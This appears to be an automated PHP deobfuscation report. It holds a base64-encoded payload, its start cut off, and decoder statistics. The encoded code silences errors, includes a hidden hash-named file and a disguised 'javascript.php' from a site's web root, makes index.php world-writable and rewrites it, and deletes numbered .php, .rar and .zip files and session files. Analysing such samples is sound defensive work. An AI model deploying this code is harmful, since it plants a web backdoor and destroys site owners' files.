mPSdlcnJvcl9yZXBvcnRpbmcoMCk7aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTskbG9jYWxwYXRoPWdldGVudigiU0NSSVBUX05BTUUiKTskYWJzb2x1dGVwYXRoPWdldGVudigiU0NSSVBUX0ZJTEVOQU1FIik7JHJvb3RfcGF0aD1zdWJzdHIoJGFic29sdXRlcGF0aCwwLHN0cnBvcygkYWJzb2x1dGVwYXRoLCRsb2NhbHBhdGgpKTtpbmNsdWRlX29uY2UoJHJvb3RfcGF0aC4iL2NkN2Y2NDNmZjUyZTI5MmU4NzJlZmQ2ZTYwMTUzNzJiIik7JzsNCiRnPSdpbmNsdWRlICJceDJmaG9tXHg2NS9jb1x4NmR1bmFceDZhYWxpXHg3M2NvL1x4NzB1YmxceDY5Y19oXHg3NG1sL1x4NmNheW9ceDc1dHMvXHg2Y2liclx4NjFyaWVceDczL2phXHg3NmFzY1x4NzJpcHRceDJlcGhwIjsnOw0KDQppZiAoZmlsZV9leGlzdHMoJ2luZGV4LnBocCcpKSB7DQpjaG1vZCgnaW5kZXgucGhwJywgMDc3Nyk7DQogICAgZmlsZV9wdXRfY29udGVudHMoJ2luZGV4LnBocCcsIHN0cl9yZXBsYWNlKGFycmF5KCRhLCRiKSwgJycsIGZpbGVfZ2V0X2NvbnRlbnRzKCdpbmRleC5waHAnKSkpOw0KfQ0KaWYgKGZpbGVfZXhpc3RzKCdpbmRleC5waHAnKSkgew0KY2htb2QoJ2luZGV4LnBocCcsIDA3NzcpOw0KICAgIGZpbGVfcHV0X2NvbnRlbnRzKCdpbmRleC5waHAnLCBzdHJfcmVwbGFjZShhcnJheSgkYywkZCksICcnLCBmaWxlX2dldF9jb250ZW50cygnaW5kZXgucGhwJykpKTsNCn0NCmlmIChmaWxlX2V4aXN0cygnaW5kZXgucGhwJykpIHsNCmNobW9kKCdpbmRleC5waHAnLCAwNzc3KTsNCiAgICBmaWxlX3B1dF9jb250ZW50cygnaW5kZXgucGhwJywgc3RyX3JlcGxhY2UoYXJyYXkoJGUsJGYpLCAnJywgZmlsZV9nZXRfY29udGVudHMoJ2luZGV4LnBocCcpKSk7DQp9DQppZiAoZmlsZV9leGlzdHMoJ2luZGV4LnBocCcpKSB7DQpjaG1vZCgnaW5kZXgucGhwJywgMDc3Nyk7DQogICAgZmlsZV9wdXRfY29udGVudHMoJ2luZGV4LnBocCcsIHN0cl9yZXBsYWNlKGFycmF5KCRnLCRnKSwgJycsIGZpbGVfZ2V0X2NvbnRlbnRzKCdpbmRleC5waHAnKSkpOw0KfQ0KDQokcmVnMiA9ICIvW14wLTldKlswLTldK1teMC05XSpbLl1waHB8W14wLTldKlswLTldK1teMC05XSpbLl1yYXJ8U0VTU18uKnxbXjAtOV0qWzAtOV0rW14wLTldKlsuXXppcC8iOw0KJGZpbGVzPXNjYW5kaXIoIi4iKTsNCmZvcmVhY2goJGZpbGVzIGFzICRmaWxlKQ0Kew0KCWlmKHByZWdfbWF0Y2goJHJlZzIsJGZpbGUpKQ0KCQl1bmxpbmsoJGZpbGUpOw0KfQ0K"));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 b71d8add61b42aee4fbdbadb00441b91
Eval Count 1
Decode Time 90 ms